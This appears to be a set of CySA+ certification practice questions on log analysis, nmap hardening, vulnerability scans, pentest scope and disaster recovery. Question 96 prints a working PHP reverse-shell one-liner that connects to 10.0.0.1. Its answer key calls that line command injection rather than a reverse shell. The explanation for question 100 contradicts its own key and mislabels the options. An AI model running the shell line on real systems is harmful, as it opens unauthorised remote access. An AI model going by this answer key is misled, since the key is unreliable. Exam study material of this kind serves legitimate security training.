CompTIA Cybersecurity Analyst (CySA+) Certification Exam Sample Questions (Q96-Q101):

NEW QUESTION # 96

While reviewing web server logs, a security analyst discovers the following suspicious line:

```
php -r '$socket=fsockopen("10.0.0.1", 1234); passthru("/bin/sh -i <&3 >&3 2>&3");'
```

Which of the following is being attempted?

- A. Reverse shell
- B. Server-side request forgery
- C. Command injection
- D. Remote file inclusion

Answer: C

Explanation:
The suspicious line in the web server logs is an attempt to execute a command on the server, indicating a command injection attack.References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 5, page 197; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 5, page 205.

NEW QUESTION # 97

A security analyst runs the following command:

```
# nmap -T4 -F 192.168.30.30
Starting nmap 7.6
Host is up (0.13s latency)
PORT STATE SERVICE
23/tcp open telnet
443/tcp open https
636/tcp open ldaps
```

Which of the following should the analyst recommend first to harden the system?

- A. Deploy a publicly trusted root CA for secure websites.
- B. Configure client certificates for domain services.
- C. Disable all protocols that do not use encryption.
- D. Ensure that this system is behind a NGFW.

Answer: C

Explanation:
The nmap scan results show that Telnet (port 23) is open. Telnet transmits data, including credentials, in plaintext, which is insecure and should be disabled to enhance security.
Disabling unencrypted protocols (such as Telnet) reduces exposure to man-in-the-middle (MITM) attacks and credential sniffing.
Telnet should be replaced with a secure protocol like SSH, which provides encryption for transmitted data.

NEW QUESTION # 98

A security analyst performs various types of vulnerability scans. Review the vulnerability scan results to determine the type of scan that was executed and if a false positive occurred for each device.
Instructions:
Select the Results Generated drop-down option to determine if the results were generated from a credentialed scan, non-credentialed scan, or a compliance scan.
For ONLY the credentialed and non-credentialed scans, evaluate the results for false positives and check the findings that display false positives. NOTE: If you would like to uncheck an option that is currently selected, click on the option a second time.
Lastly, based on the vulnerability scan results, identify the type of Server by dragging the Server to the results.
The Linux Web Server, File-Print Server and Directory Server are draggable.
If at any time you would like to bring back the initial state of the simulation, please select the Reset All button.
When you have completed the simulation, please select the Done button to submit. Once the simulation is submitted, please select the Next button to continue.

NEW QUESTION # 99
Which of the following is MOST dangerous to the client environment during a vulnerability assessment penetration test?

- A. There is a longer period of time to assess the environment.
- B. There is a shorter period of time to assess the environment
- C. The testing is outside the contractual scope
- D. No status reports are included with the assessment.

Answer: C

Explanation:
The point is that scans outside the scope can accidentally break it. That's dangerous to the customer's environment.

NEW QUESTION # 100
Which of the following best describes the goal of a disaster recovery exercise as preparation for possible incidents?

- A. To perform tests against implemented security controls
- B. To verify the roles of the incident response team
- C. TO provide metrics and test continuity controls
- D. To provide recommendations for handling vulnerabilities

Answer: C

Explanation:
The correct answer is
A) To provide metrics and test continuity controls.
A disaster recovery exercise is a simulation or a test of the disaster recovery plan, which is a set of procedures and resources that are used to restore the normal operations of an organization after a disaster or a major incident. The goal of a disaster recovery exercise is to provide metrics and test continuity controls, which are the measures that ensure the availability and resilience of the critical systems and processes of an organization. A disaster recovery exercise can help evaluate the effectiveness, efficiency, and readiness of the disaster recovery plan, as well as identify and address any gaps or issues .
The other options are not the best descriptions of the goal of a disaster recovery exercise. Verifying the roles of the incident response team (B) is a goal of an incident response exercise, which is a simulation or a test of the incident response plan, which is a set of procedures and roles that are used to detect, contain, analyze, and remediate an incident. Providing recommendations for handling vulnerabilities is a goal of a vulnerability assessment, which is a process of identifying and prioritizing the weaknesses and risks in an organization's systems or network. Performing tests against implemented security controls (D) is a goal of a penetration test, which is an authorized and simulated attack on an organization's systems or network to evaluate their security posture and identify any vulnerabilities or misconfigurations.
